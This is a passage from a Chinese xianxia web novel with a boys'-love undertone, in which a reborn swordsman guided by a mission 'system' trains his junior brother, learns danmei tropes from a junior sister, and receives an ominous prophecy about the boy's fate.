“我真是个蠢材……原来,你真的……”他未尽之语不再继续了。
顾从星只觉得心如刀绞。
他知道,有些事情已经无可逆转地、永恒地导向了错误的彼岸,将他逼向深渊的尽头。
已经,再也回不去了。
……可是就算前方是无间地狱,他也还有一件,必须要完成的事。
只差最后几人了,为师尊所设的阵法即将功成,他决不能在此刻功亏一篑。
当顾从星走近,掏出一颗漆黑的丹药时,司君剑并没有躲避,只是一动不动地直视眼前人。
可当顾从星抱着他的脑袋,将那颗丹药逼入他口腔时,司君剑灰暗的神色却微微一变。
并非是想象中的索命毒药。
当司君剑抬眼时,却感受了一滴惊人的湿意,滴在他脸庞上,悄然滑落下来。
“……你,为何落泪?”
司君剑执拗地想要去再
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看一眼顾从星的面庞,可是眼前却渐渐陷入昏暗。
“从星……”
顾从星抹去溢出的泪,将那本冒天下之大不韪的禁书再次收入怀中。
“抱歉。”
神魂深处再次泛起痛楚,视野天旋地转,可顾从星却不肯闭上眼睛,仍是盯着那抹红色身影,仿佛要将其烙印在脑海之中。
耳边响起了隐约的嘈杂声。
是谁?
是谁在狂声怒骂?
“……魔头!”
“受死吧!”
顾从星眨了眨眼,发觉自己已经身处洛西洲沙漠之上。
周边密密麻麻地围着的,是因禁术之事败露闻讯而来的修士。
该死!为何他们会知晓此事!
司君剑清醒了么?或是被同门带走了么?
他,果然还是选择将此事告知天下。
不愧是西洲明珠、盛名远扬的诛邪剑。
……还真是,毫不留情啊。
哪怕再晚一些,自己功成之后就算千人围剿又何妨?怎么偏偏卡在这最后一步的关键时刻?
顾从星这样想着,目光扫过面前的一群修士。
自己已经将神识传于萧忘忧,其中包含了自己所炼禁术的全部讯息,一观便知为谁而设、如何功成。
萧忘忧那厮固然仍是死敌,令人望之生厌。可若要托付此阵,他却是绝佳人选。
萧忘忧想要师尊复活的意愿,绝不在自己之下。
只差最后一人了。
萧忘忧要达成此阵并非难事,想必能够令师尊重生于世。
自己还给了他一些附赠的信息——关于空氏灭门一案的线索,就当做是报酬吧。
顾从星这般想着,继续激发丹田中所蕴灵力,高速运转的金丹已产生道道皲裂。
“糟了,他要自爆!”
顾从星露出抹决然笑意,更狠绝地压榨丹田!
“不——”
“从星——!!”
耳边似乎传来撕心裂肺的呼唤,顾从星抬眼远眺,入目只是忙乱逃窜的修士们的身影。
是错觉吧,否则他怎会听到司君剑的声音?
临死前竟有这样的幻听,自己也还真是……有够荒唐。
“砰——”
感受到轰然炸裂的灵海,在巨痛袭来时,顾从星竟感受到难言的轻松畅快。
死亡。
温暖而熟悉的黑暗。
经过浩劫坎坷,他终是重归了死亡之母的怀抱。
——为何,自己不畏惧死亡?
在意识模糊一片,将归消散之际,顾从星终于想起来了。
——因为,他本就自死亡而生。
……
……
“……兄!”
“二师兄!”
“醒醒!二师兄!”
顾从星缓缓睁开了双眼。
这里是,现世?
“二师兄!你终于醒了!”
钟冥一把扑进顾从星的怀抱,紧紧地抱住他的身子,声音微微颤抖。
他抬头看向顾从星,眸中竟闪烁着晶莹泪光。
“师弟?”顾从星已经完全回神,心知自己已经脱离了那绝望的梦魇。
他感受着胸前的柔软,再一次生出恍若隔世之感。
没错,已经过去了。
现在,一切悲剧还尚未开始。
来得及。都来得及。
“师兄,我醒来时见你仍是睡着,本不欲扰醒你,可却发现你呼吸急促,面色苍白……”甚至还落下了泪。
钟冥当时看那一滴清泪缓缓滑落,顾从星清秀的眉头紧皱,脖颈不自然地后仰,就像是即将引颈受戮的鸟儿。
他身上的无尽悲意,如无形的潮水一般,令钟冥也不由哀切。
钟冥的声音有些惊慌。
“我知道你是被魇住了,想要叫醒你,可是你的状态却越来越不对,我只得用手推你。师兄,好在你终于醒了。”
“抱歉,让你受惊了。”
顾从星抬起手臂,轻轻抚了抚钟冥的脑袋。
“师兄!”钟冥环抱顾从星的手臂越紧,就算伤口因为动作牵引再度崩裂也不肯松手。
“我知道自己年幼弱小,难以成为师兄的依靠。可是,我亦愿为师兄排忧解难,赴汤蹈火在所不惜!”
金眸少年目光澄净,却带着不可撼动的决心。
“师兄心中若有什么悲伤之事,别憋在心中,若是不能对我说出口,那,那揍我出气也是好的!我皮糙肉厚,正适合当沙包!”
“……噗嗤。”
顾从星漏出一声笑。
他说些什么蠢话?明明还一身伤地躺在床上,竟还想让自己揍他?
“你这家伙,好好养伤就是,胡说些什么?”顾从星本欲佯装生气的样子吓一吓他,可视线一接触到那双写满了担忧的眸子,心中又是一片柔软。
最终,顾从星无奈地叹了口气,拂去钟冥睫羽上悬坠的泪。
“只要你好好活着,便足够了。”你活着,就已经是极大的慰藉。
钟冥脸颊通红,呐呐不能言。
顾从星看他这样又是一笑,轻柔拍了拍少年的脊背。
片刻后,他的声音坚定而缓慢地传入钟冥耳际。
“和我一起变得更加强大吧,钟冥。强到可以保护自己,保护身边重要之人。”
“不要担心自己年少弱小,我们……来日方长。”
钟冥浑身一震,眸中迸出明亮光彩。
“是!”
就在这时,系统的声音紧跟着响起。
【宿主!第二个任务来了!】
【滴!支线任务:请宿主前往罗浮镇,自拍卖会获取《合虚大荒录》!】
【滴!检测到该任务或与其他救赎目标相关,请宿主充分准备。】
顾从星凝视空中石板,眉峰微挑。
4. 玲瑶
自系统公布支线任务后,已过三天。
经过一番询问,顾从星已经知晓原来系统的任务包括两类:主线任务与支线任务。
其中主线任务数量少,却也必须完成,否则即判定任务失败。
而支线任务不定时发布,并非必须全部达成。完成后会有少量救赎度与积分奖励,失败却也无甚影响。
支线任务的触发,似乎还与自己的行动轨迹有关。
【就算是支线任务,也请宿主努力完成,或许会有意想不到的惊喜哦!】
顾从星想起系统最后留下的一句话,虽然面上不显,但心中却隐隐生出些期待。
根据他得到的消息,罗浮镇的拍卖会一年一度,最近的一次也是在三个月后。趁此良机,他倒是可以整顿一番。
前日他便前去问道峰的律戒堂,向长老唐无心陈述了陈望等人的恶行,而出乎他意料的是,对方竟已经知晓此事。
“你们那日发生冲突后,宗主恰好前去寻丹青峰主,看那三人俱是有伤在身,面色惊惧,还以为是宗内有魔修闯入重伤弟子,便仔细询问了一番。”
“那几人倒也诚实,俱是一一交代。宗主听完恼怒得很,当即令陈长老带着他们来领罚了。”
顾从星惊讶挑眉,没想到宗主竟插手了此事。
“那他们受罚结果如何?”
“哼,这三人对钟冥欺骗在先,重伤在后,按照戒律自是罚他们受戒鞭八十下,投入思过崖一个月。那两个外门弟子不争气的很,怕被打死便自请离宗了。那陈望……”
唐长老美艳冷厉的面容上浮起不屑神色。
“那小子吓得差点也说出离宗的话,被他爹当众大骂一通,又给他服下一颗锻体丹,让那小子足以扛过去鞭刑。即便这样他也还是被抽晕了过去,如今已在思过崖里瘫着了。”
顾从星对此结果算是意料之中,向唐长老告辞时,却见她瞥了自己一眼,冷哼道:
“你这小子就算是为救师弟,行事也过于张扬肆意。可别哪日阴沟里翻船。”
这话辛辣带刺,若是上一世的顾从星应是会面露不虞。不过如今的他,只是平静颔首。
毕竟,他确实已经栽过了。
***
师弟歇下之后,顾从星便按照计划去寻那极爱看话本的小师妹。
临走前,他寻来正在捣药的白令梧,托他看护师弟。
顾从星走得匆忙,所以并不知道他刚刚离开药居小院,躺在床上的钟冥就悄然睁开了眼。
“咦,钟师弟,你怎么这么快就醒了?”
“师兄不在,有些睡不踏实。”钟冥坐起身,“我身体已无大碍,若白师兄有事,自可前去,不必看护我。”
白令梧连忙摆手:“哎!那可不行!若是顾师兄回来发现我不在,那下一个躺在床上的人可就是我了!”
钟冥闻言露出轻笑。
“白师兄言笑了,我师兄才不会这样。”
白令梧惊讶地睁大双眼。
这傻小子该不会不知道,顾从星可是宗门内大家公认的凶神吧?
“……师弟啊,你知道上一次宗门大比中,你顾师兄的事迹吗?”
“只知道师兄取得优胜,不知具体详情。”
白令梧心道果然如此。
他清了清嗓子,化身宗内大比解说员。
“宗门大比两年一次,参与者都要比三场,全胜者即可获得参与五年一度仙门大比的资格,故而年年参与者众多。”
“当年顾从星入宗刚满一年,虽已筑基,但在参赛者中并不算占优势——毕竟只是他筑基初期,但当时筑基后期的大有人在。”
“他第一场遇上了个在宗多年的师兄。那师兄已是筑基大圆满,胜负一看便知,便出言嘲讽。不料顾从星竟剑法绝伦,硬是在相差三个小境界的情况下取胜……而且那师兄被打得鼻青脸肿,若非比斗规定点到为止,恐怕是会当场被斩于顾从星剑下。”
钟冥眨眨眼,似乎不以为意。
“至于第二场就更是惨不忍睹。顾从星当时对上了宗门内备受宠爱的小师妹——玲瑶。”
钟冥神色微变。
“这两人俱是容姿出众,故而不少人前去围观,只为一睹师弟师妹的芳颜。谁知那顾从星丝毫不怜香惜玉,竟直接将小师妹给揍飞了!哎!”
“第三场,顾从星的对手为了给小师妹报仇出手极其狠辣,不料顾从星竟有所感悟,一个绝招劈裂了演武场的千年磐石!”
至于那倒霉对手,直接被掀翻了滚到台下,据说之后躺了半年才下床。
回想起当时的场面,白令梧不由得叹一口气。
自那之后,原本对顾从星或垂涎或厌恶的人,看到他都是绕着走。
白令梧本想看到钟冥惊讶的神色,没想到这家伙竟然目露向往,赞叹不已:“真不愧是我师兄!”
白令梧:“……”
钟师弟看着眉清目秀的,将来该不会也成为战斗狂吧?
“咳咳。”白令梧清咳了声,唤回钟冥的思绪,“说起来,你知道顾师兄去做什么了么?我看着似乎是灵虚峰方向。”
“哦,师兄去找人了。”
“谁?”顾从星除了他师门居然还有相熟之人?该不会又去揍人了吧?
钟冥弯了弯眼。
“玲瑶。正是刚刚你说的那位被揍……备受宠爱的小师妹。”
白令梧:“……”
白令梧:???
****
顾从星御剑来到灵虚峰上,直奔玲瑶洞府。
根据他的记忆,这位灵虚峰主的亲传弟子酷爱话本和灵器,故而他还特意寻出了自己当初从顾氏所带的灵器——三清铃。
此铃由龙骨山百年矿藏所制,铃身莹白,铃音清亮,能够使人神智清明,免受中阶以下幻境或魔障所困,是难得的灵器。
顾从星共有三枚,除却自己所有,另一枚便是给师弟所留了——事实上,他也正是想要给师弟这三清铃,才想到可用此物赠给小师妹。
毕竟按照记忆,上次与玲瑶见面还是自己将其轰飞,此次前来求助,还是带些诚意的好。
来到洞府之外,顾从星果然被拦下。
“顾师兄,玲师姐尚在修炼,恐不便见客。”洒扫弟子垂首道。
“我此次前来有要事相询。且我带了厚礼。”
洒扫弟子惊讶地抬起脑袋。
“劳你通传一声。若她不愿接受三清铃,那我便先回去……”
“嗳!要的要的!”
只见那相貌平平的洒扫弟子摇身一变,竟露出一双如画眉眼,少女墨发飞扬,一身桃色长裙飘然若仙,秀丽面容上尽是盈盈笑意。
此人不是玲瑶又是谁?
“你这易容术功夫不错。”顾从星真心实意地夸赞。
“都是些旁门左道,哪比得上顾师兄的惊才绝艳。”玲瑶嘿嘿一笑,凑到顾从星身侧,“那……三清铃在何处呀?”
顾从星从储物袋中掏出三清铃,递到玲瑶手中。
“太好了!果然是三清铃!好东西啊!”
玲瑶蹦蹦跳跳,此物显然极得她心意。
她之后要前去一处秘境中历练,听闻那秘境中有一些妖兽会布置迷雾令人陷入幻觉,这三清铃可真是来得恰到好处。
虽然此灵器无法克制高阶幻境,可那种幻境须是出窍期以上大能方能布置,对她的历练而言,此物显然是绰绰有余了。
被揍飞算什么?和顾从星打过架的哪个不是下场凄惨,她不过是躺了一周而已,哪比得上这三清铃重要!都翻篇了!
“顾师兄既然送来这宝贝,那我定知无不言!不论是宗门八卦还是秘境消息,随便问。”
看小师妹似乎并不记当年输给他的仇,顾从星亦是放下心。
“恩。我此番前来,是想问你一些关于话本的事宜。”
“……话本??”
玲瑶一脸疑惑。
顾从星面色不改:“你可知耽美为何意?”
玲瑶大惊失色。
“还有万人迷是何意?”
玲瑶目光呆滞。
“哦,还有狗血和美强惨……师妹你怎么了?”
顾从星看玲瑶神情越来越诡异,正欲上前一步,却见她骤然祭出紫玉狼毫法器来,厉声呵斥。
“好大的胆子!竟敢冒充顾师兄,你究竟是何人?!”
顾从星:“……”
片刻后。
经过一番“友好切磋”,玲瑶尴尬地摸了摸脑袋,顺便给自己施了个治疗咒。
“顾师兄莫怪,我只是实在没想到你这剑痴,啊不,剑修会对这些感兴趣。既然如此,我便和你从基础的开始讲吧。”
玲瑶从自己的储物
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袋中掏出数个话本,目光与顾从星对视时突然脑子灵光一闪,仔细打量了一番面前的顾师兄。
顾从星黑眸黑发,肤白胜雪。其睫羽浓密,眼尾微微上扬,挺鼻薄唇,唇珠却是圆润。
一副无暇玉面,还真是灵秀俊美至极。
明明并非攻击强的明艳长相,甚至本是带些温润仙气,可他看人时的目光太过强烈,或者说他本人的气场太强了,以至于此人甫一出现就总能捕获在场之人的目光。
自此,再难忘怀。
——不过,他本人并不知晓就是了。
玲瑶手撑着下巴,露出个不怀好意的笑来。
之前怎么没发现,原来这凶神一样的顾师兄,其实也挺适合……当受的?
“嘿嘿,顾师兄既然有心探究,我便给你详细讲讲,也许哪日你还用得到呢。”
“……好。”
……
那一日,顾从星接受了思想的巨震,三观的重塑。
他知晓了何为耽美,何为攻受,何为狗血万人迷……
顾从星听到后期已经神色恍惚。
而玲瑶却是越讲越起劲,乃至激动不已,面色红润,所传授的东西尺度也是越来越大。
终于,在玲瑶讲到什么多人的姿势时,顾从星落荒而逃。
耳后传来玲瑶的呼喊,但顾从星已经顾不得了,反而是加快了御剑的速度。
直到自己的居所,顾从星才发觉原来自己走得着急,竟卷走了数个话本。
看着封面上的《师尊秘夜》《大师兄哪里逃》《小师弟他体质神异》,顾从星手一抖,下意识地就想将这几本书粉碎。
但理智立即回神,他还是控制住了自己的灵力,将这几本书收拢,放在桌案夹层之中。
他不知道自己的面色此刻已经通红。
顾从星本想即刻动身将这些话本还给小师妹,但一想到她的话语,脑海中就不由得翻涌起一些模糊又生动的画面。
顾从星猛地晃晃脑袋,提起长剑舞起剑法来。
——配合清心咒。
*****
数日后,钟冥已基本痊愈,师兄弟两人便向白长老告辞,回到琢光峰。
将小师弟送到他的小院中,顾从星便要转身离去,却不料手被拉住了。
他讶然转身,钟冥立即松了手,面上泛起红晕。
“师兄,我,我只是……”
“师弟莫非是身体仍有不适?”
钟冥心里千回百转,他怎么说得出口自己是看到师兄要走了,下意识地就想留住他?
这些时日的相处,他已经有些依赖师兄了。不想分开。
自从他有记忆以来,还从未有人像师兄这般待过自己——收养了自己的爷爷当然也很好,可是他老人家已逝去了。
可是这种像孩子撒娇一般的话,怎么说得出口?
顾从星看着钟冥眸光转动却沉默不言的样子,不禁失笑。
“既然现下师尊闭关,大师兄也不在宗内,师弟……可愿让我教导?”
钟冥猛地回神。
还有这种好事?
“自然愿意!”钟冥忙不迭地点头。
看小师弟这眸光闪闪的模样,顾从星想到了某种大型犬类。
随后,思绪又不由得想到了那些话本。
小师弟这样……定然是受吧。
之前他询问系统,知晓了这个话本世界《凤鸣》的主角竟然是萧忘忧。故事的主线便是萧忘忧寻找灭族真相,一路变强报仇雪恨。
顺便一提,他顾从星就是一个早死的反派。
作为万人迷,萧忘忧在故事中魅力非凡,诸多角色与他产生情感纠葛,其中就包括自己要拯救的三位师门中人。
经过玲瑶的洗礼,顾从星已经清晰地认识到师尊和大师兄是何等高危职业,而小师弟也难以幸免。
再想想萧忘忧那高挑身形与冷酷端肃模样,顾从星已基本断定他是主角攻。
真是可恨,这厮竟然还要祸害少年少女,也不知当年是如何接近得师尊、师兄与师弟。
“师兄?”
注意到顾从星神色变幻,钟冥呼唤出声。
顾从星回过神来,严肃地望着小师弟,语重心长。
“小师弟,以后记得远离比你年长的男人。尤其是长得好、爱装酷的。”
钟冥:?
5. 合虚
顾从星的教导计划非常缜密,在钟冥不能剧烈活动时,传授心法与秘籍。待钟冥伤好满一个月,便教他剑法招式。
不得不说师尊真是独具慧眼,门下弟子皆天赋卓然。
当顾从星知晓钟冥竟然只花了一旬即能引气入体,打破从凡人到修真者的界限,不由得感慨师弟悟性之高。
要知道,多数修真者都要至少几个月乃至一年才能达成这一目标,顾从星自己用了半个月便已被门人夸赞天赋异禀。
当顾从星将此事告知钟冥,他大喜过望,修炼更是干劲满满。
顾从星想,教导小师弟无疑是省心的,并且颇有收获感。
只是若能再省些力就更好了。
就像现在,小师弟这持剑起势之态总是歪歪扭扭,须得自己亲自矫正。
“提臂,收腕。”顾从星站在钟冥身后,托起他的右臂,另一手轻点他持剑的手腕。
从远方看去,顾从星就像是自后方环抱住钟冥一般。
钟冥感受到身后的热量,还有耳边若有若无的吐息,不由得身体一僵。
“师弟,敛神。”
“是、是!”
钟冥舞完这一剑招,顾从星赞赏地点点头。虽然起势动作总是需要自己矫正,但真正舞起剑来倒是有模有样。
“师弟基础剑招已经基本掌握,但日后还需多加练习。现在,我便可教授你《流云剑法》的第一式了。”
《流云剑法》乃顾氏传承,经过千百年顾氏族人的流传与改良,已成为闻名于修真界的剑法。其中共有十八式剑招,顾从星在离开顾氏时已学到第十五式。
多少修士拼尽灵药法宝,削尖了脑袋进入顾氏外门,便是为了习得此剑法的一招半式——不过,这些钟冥并不知道,顾从星亦不打算说。
只要能让师弟好好活着,不论是剑法还是法器,他都不会吝啬。
“嗡——”
顾从星手持斩鲸剑挥舞,身若游龙腾云,步如凌波蹁跹,金色剑芒锐不可当。
此时一片竹叶飘落而下,顾从星抬眸,瞬息之间已移步于前,长剑微挑,看似极轻巧的一个动作,却让这竹叶与其后的长竹瞬间化为两截。
“剑势轻灵却不失凌厉,后发而起,以柔克刚,千般变化如流云之相。”
顾从星挽了个剑花,收剑入鞘,如玉面容上尽是潇洒笑意。
“师弟,这套流云剑法可入得了眼?”
钟冥已然看痴了。
回过神来,他重重点头:“那是自然!师兄果然剑法绝伦!”
顾从星失笑:“比起师尊的剑法,不过是班门弄斧罢了。”
此后的两个月内,两人皆焚膏继晷,共舞长剑。
钟冥修炼神速,已经成功筑基,而顾从星亦是至筑基大圆满,不久之后便可结成金丹。
有时,顾从星看着钟冥埋头苦练的身影,会不由得想到当年在游北洲的岁月——于顾氏武场中练剑的自己。
那时他比钟冥还要年幼,兄长顾明庭便在他身旁教导。极尽细致,从不厌烦。
兄长的流云剑法练得出神入化,顾从星自幼仰慕他的身影,便也早早开始修炼剑法。
那时,顾从星每每学成一式后,兄长会将他高高举起,有时甚至会抛上空中,又将他稳稳接住。
“我弟弟果然天赋异禀,非池中之物!”
那时,他亦会伸出双手,欢喜地抱住兄长的脑袋。有时淘气一些,就去偷偷揉乱兄长束得一丝不苟的长发。
每当这时,顾明庭都会去捏弟弟的脸颊,轻斥他不得乱来。
可声音明明是极其宠溺的。
更久之前,大概顾从星尚在童龀时,总是黏黏糊糊地跟在兄长身后。有时骄纵的劲上来了,说自己走不动需要人抱,兄长便总是一边嫌弃他矫情一边将他抱在怀中。
他会轻拍弟弟的脊背,也会笑着揉捏弟弟柔软的耳垂。
在兄长怀中,顾从星总会感到莫大的安全感,找个舒服的姿势沉沉睡去。
“顾明庭……”顾从星轻喃。
那么,是从何时开始改变了?
似乎是自己12岁那年,兄长被正式指定为下一任家主之后。
他们的父母早逝,顾氏家主是他们的表叔顾辞担任。那时叔叔与兄长在顾氏禁地修炼了一个多月,再出关时,兄长就与以往不同了。
他变得分外严厉。
之前他待顾从星也并非温柔似水,可是在那之后,他似乎很少笑了。
甚至有一次顾从星像往常一般,学会最新的剑式找顾明庭拥抱自己,可却被一掌掀开。
“都这么大了怎还是如此软弱骄纵!若三年内还学不会全部流云剑式,你就给我滚出顾家!”
顾从星倒在地上怔楞许久,一言不发地跑开了。
其实,顾从星与顾氏其他族人从来都是关系浅淡,他只是会黏着兄长一人而已。也只有在兄长面前,他才会露出这般软弱的一面。
那次之后,顾从星再也未找过顾明庭讨要拥抱——不止如此,他自那之后就收了撒娇的心思,按照族内长老们所教,见到兄长便向他规规矩矩行礼。
似乎第一次行礼时,顾明庭的身子在原地僵了片刻,才冷声回应。
顾从星想,也有可能是自己记错了吧。
那个男人,可是舍得给弟弟吃失心丸的人——
“二师兄?”
钟冥在顾从星面前摇了摇手,轻声呼唤。
顾从星回过神,这才发现钟冥已经练完剑法,身上冒出些热汗。
少年的暗金色双眸干净清澈,含着融融笑意。
“二师兄,今天日光明媚,我们一起躺着晒晒太阳如何?”
“……也好。”
两人仰面倒在草地上,静看云卷云舒。
片刻后,钟冥悠然开口:“师兄,我昨日做了一个梦,在梦中我去了许多陌生的地方。真奇怪,我明明只在凡间的渔村和青玄剑宗待过,可梦中的场景却非常真实……”
“师兄,这世上可有一处叫伏神林?”
顾从星神色一僵。
他自然知晓,甚至可以说熟悉。
伏神林就位于游北洲与魔境的交界处,正是顾氏常年派弟子巡游之地。
钟冥为何会梦到伏神林?
沉默片刻,顾从星从储物袋中召出一枚卷轴,往空中一掷便是徐徐展开的舆图。
他们所在的这一方世界——“合虚界”中包括三层小世界,人界、修真界与神界。
三桑无枝树作为世界巨树,贯穿三层小世界,屹立世界中心。
顾从星遥遥一指:“那处绵延百里的树林,便是伏神林。只是此地危险万分,金丹以下修士不可入。若非修为至元婴,不可进入丛林深处。”
钟冥看着舆图有些出神,目光流转于五洲之间,似乎在寻找什么。
直到看到北方的某一地标时,钟冥微微睁大眼。
顾从星顺着他的目光看去,心口一沉。
那是魔境……
修真界五大洲,即中禹洲、东莱州、游北洲、洛西洲、南溟洲。其上宗门世家星罗棋布,又以“一宗两派四世家”为尊。
“一宗”即青玄剑宗,“两派”便是司君剑所在的天麟派、萧忘忧所在的乾阳派。
“四世家”便是江氏、顾氏、元氏与已被灭门的空氏。
其中,顾氏与天麟派有些特殊。因为他们不光要对内率领弟子们修炼,对外还具有监察之职,位于抗击妖族魔族的第一线。
因游北洲与魔境接壤,而天麟派所在的洛西洲则与妖境相邻。
也是因着这番缘故,顾氏与天麟派总是有些惺惺相惜的情谊在,结有世家之好。
至于魔族,自然就是顾氏的宿敌了。魔修手中修士性命众多,其中顾氏子弟尤甚。
顾从星正想询问钟冥为何目光停留于魔境,却听他先一步发问:
“师兄,听闻顾氏实力强盛、财力雄厚,你为何又远拜青玄剑宗呢?”
顾从星一时哑然。
记忆中又翻涌起他被困在族内惩戒塔的画面。
四周铁壁皆是一片黑暗,唯有高仰起头方可见穹顶一点天光。
那时他所在的塔底还另设阵法,周身墙壁会日渐一日越发逼仄,令人在幽闭的环境中逐渐崩溃。
其实,明明只要承认自己听错了、看错了,不再去管那凤凰翎的事,便立即能被释出。
但是顾从星却不愿。
少年捶着门,哪怕双臂一片铁青也要嘶声怒吼:
“我没有错——!”
“空氏骤然被灭为何不许我调查?族内为何有空氏凤凰翎?!”
“这就是你们所教导我的正道吗?!!”
“顾氏!顾氏不是除魔卫道的名门吗?放我出去,我要知道真相——”
自然不会有人回应。
取而代之的,是一颗失心丸。
当铁门开启,再次见到兄长那清隽俊朗面容时,顾从星是欣喜的。
当兄长难得的有了笑意,向自己递来一份热乎乎的灵食,顾从星以为兄弟二人又能回到从前——直到他发现那樱桃中所藏的是失心丹。
此物会让人神思混乱记忆恍惚,直到一周后方可恢复正常,但却会失去服用前一个月的记忆。
虽对人体伤害不大,但却极易操纵他人心智,故而此丹早已被禁。
顾从星也是无意在族内秘境中才得知此丹的炼制方法与特征。
也幸亏被兄长冷落的这两年,顾从星对丹药之道有了兴趣,自己会悄悄炼些用途各异的丹药带在身上。而这些,那个对自己漠不关心的兄长并不知情。
所以他才能趁看守不注意悄悄吞下解药,之后又装出失心丹的症状,假意忘记凤凰翎之事。
直到不久后师尊来到宗内,自己拜入门下。
若非三番两次心灰意冷,他又怎会决然离开故土。
“……师尊剑道独步天下,青玄剑宗亦是在诸多门派中独占鳌头。修真者无不追求问鼎巅峰,得道飞升,我自然会选择更强的一方。”
顾从星声音平淡。族内丑事,他并不愿宣扬。
钟冥似乎全然未觉顾从星神色有何不对,只是顺着他的话问道:
“飞升之后,便能到神界吗?”
“传言如此,可实际如何无人知晓。毕竟如今连神界是否真实存在都众说纷纭,就连创世神话也流传不多了。”
“创世神话?”钟冥眸光亮了亮。
“不错。传说在两千年前,合虚界中只有神界与人界。但由于五大神兽混战,天塌地陷,当时的一半人界陆地下沉,即是当今的人间。”
“另一半留于原地,虽遭战争摧残却有神明相护,灵气滋长,故而成了如今的修真界。”
钟冥听后沉吟片刻,不再继续追问。
顾从星也不再言语,任由周身暖意渐消,冷风呼啸。
他坐起身,不知为何感到有些疲惫,不管一旁的钟冥直接往自己居所走去。
明日就是拍卖会开启的日子,他还须得做些准备。
可不过走了几步,他便被人牢牢抱住了。
顾从星扯了扯紧紧环扣在自己腰际的胳膊,扯不动。他轻叹了口气。
“你这又是作甚。”
钟冥的声音从身后传来,闷闷的,却带着些急切。
“抱歉师兄,我不是故意惹你不开心……只是,我很害怕。”
“我并未欺骗你,我真的做了梦,只是不光是伏神林,我还梦到了其他地方。”钟冥沉默片刻,随后下定决心一般张口,“章尾山。”
顾从星浑身一震。
章尾山!它深在魔族腹地,更是历代魔宫所在之地!
若非顾氏对魔族了解深入,顾从星也不会知晓章尾山究竟是何物。
钟冥,怎么会连章尾山都梦到了?
难怪他的目光最终惊讶地落在魔境所在舆图之上,原来是在看章尾山!
“师兄!我在梦中所见之景皆是血月黑土,群魔遍地,可梦中的我并不觉得害怕,甚至还有种熟悉之感!”
钟冥似乎是再也压抑不住,将面前的背影扭转过来,面对面地与顾从星相视。
他做了那梦后醒来惊慌不已,但随即想到只是个普通梦境,便无甚在意。
可是今日随口一问,方知晓那原来都是真实存在的!
在看到舆图上所标章尾山那一刻,钟冥的呼吸都窒了窒。
“师兄,我自幼便相貌异于常人,无父无母被一老者收养长大。幼时我所在渔村中众人皆言我是妖邪,克死了亲人。人人避我
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如蛇蝎。”
钟冥仰头,面上一片诚恳。
“我与爷爷相伴,本只想与他老人家平淡地活下去,可谁知竟有一魔修到了村中!”
顾从星不由得凝神静气,听他倾诉。
“那畜生魔修屠尽了村子!爷爷为了保护我也被……之后我侥幸被师尊救下带到这里,可我始终不能忘了那一日满目血光。师兄,我恨透了魔修和魔族!”
他眉头紧皱,暗金双眸中泪光闪动。
“可为何,我长相与你们不一样?为何我身边之人总是相继逝去?为何在这般美好的时光,我又会做那该死的梦!?”
钟冥的声音越来越大,眸中的痛苦简直要溢出来了。
他的泪水不断落下,砸在褐色的土地上,如血迹一般。
顾从星忍不住伸出双臂抱住他,任由他的泪水打湿自己的衣襟。
“师兄……”
钟冥呜咽了几声,缓缓闭上了眼。
“我真的很害怕。若我真的与魔族有关,你身为与魔族不共戴天的顾氏之后,该要如何与我共处呢?”
“我……又该如何面对你呢?”
顾从星紧紧地抱着他,轻拍他的脊背。
他听到自己的声音也有些颤抖:“不会的,小师弟。”
“钟冥,只要有我在,绝不会让你入魔。”
“你我之间,绝不会不共戴天。”
电光火石之间,顾从星脑中突然蹦出了上一世钟冥的结局。
入魔,化为魔尊,最终惨死。
可如今明明他已经完成了援助小师弟的任务,又对他勤加指导,甚至连心法都为他挑选了清明神智、稳固道心的功法。
为何、为何!
怎会有这种梦境?究竟是哪里出了错!
突然,顾从星想到了自己遗忘许久的一样东西——人物铭。
待安抚了小师弟,他便叫出系统问个究竟。
顾从星摸了摸钟冥的脑袋,双手下滑,托起他的脸颊,大拇指为他拭去泪水。
钟冥已经不再说话,静默地盯着面前人。只是睫羽轻颤,又滑下一行清泪。
顾从星打量着面前这张精致面容,五官深邃,挺鼻薄唇,他一直都觉得很漂亮。
“就算长得和旁人不一样又如何?在我看来,小师弟貌美如花,他们定是心中嫉妒才对你口出恶言。”
钟冥眨了眨眼,一时间有些呆楞。
旋即,破涕而笑。
“原来师兄也会说玩笑话。”
“不,是真心的。卷发让我能在人群中一眼就认出你,金眸在阳光下像是会发光。”
顾从星的手指轻轻滑过钟冥的眉眼,又轻柔落到他的鼻梁上,随着自己的言语缓缓移动。
“鼻子像是西域人,嘴唇的形状也很漂亮。”
钟冥的呼吸有些急促,面颊上升起两团红晕。
“这么精致的样貌,每每欣赏都来不及,又怎会想些其他的?”
钟冥闭口不言,只是有些慌乱地眨着眼。
顾从星再次拥住钟冥,下巴靠在少年的颈侧。有些烫。
“亲人的逝去,很难过吧……但是往后你身边有我,有大师兄和师尊。我们这些人个顶个的厉害,怎么会轻易陨落?”
讲这话时,上一世的终局让顾从星心脏有些抽痛。但他不断告诉自己那已是过去。
未来,就在自己手中。
钟冥轻轻地“嗯”了一声。
像是一只炸了毛的大犬,被顺毛后乖巧地窝在主人怀中。
“一个梦境而已,代表不了什么。只要你潜心修炼,守心持正,谁敢说你与魔族有关?若真有人胡言乱语,我替你拔了他的舌头。”
顾从星的额头与钟冥的额头轻碰,果然在那双金色双眸中窥到了熟悉的光彩。
“别怕。我就在你身边。”
“安心睡吧,小师弟。”
顾从星施了个睡眠咒,钟冥抬眸深深看了他一眼,陷入了沉眠之中。
将小师弟抱回床上,顾从星又恢复了常日的淡漠面容。
“系统。”
【滴!好久不见了宿主!】
“你之前所说的人物铭究竟是何物?”
【人物铭通常只有一句话。宿主可以理解为……那是作者对于人物的判词。】
“判词?”顾从星一哂,“还真是令人不爽的说法。”
自己作为书中角色,对于其他人的了解终究是片面的。若能获知话本中对于角色的评价,哪怕很短,在未来亦有可能发挥作用。
试一试吧。
【宿主,人物铭不一定都是正面的。另外,人物铭也不一定都是准确的。】
看来不会是什么好话。
顾从星扫它一眼,将手掌缓缓放在钟冥脑袋上。
他似乎没有再做噩梦,唇边扬着轻笑。
顾从星眸光轻柔,心中默念:人物铭。
钟冥的人物铭。
随即,一道银色的光芒从两人接触的位置冒出,一点点组成字符。
顾从星的心跳如擂鼓,那些字是……
【此番皆是命,半点不由人】
顾从星呼吸一窒。
仿佛察觉到低沉的气氛与顾从星出奇的愤怒,那些字符又消散后开始重新组合。
顾星从的表情已经扭曲,但仍是抱有一丝隐秘的希望。
刚刚所说的,果然是有错吧——
新拼成的人物铭仅有四个字:
【宿命难敌】
……
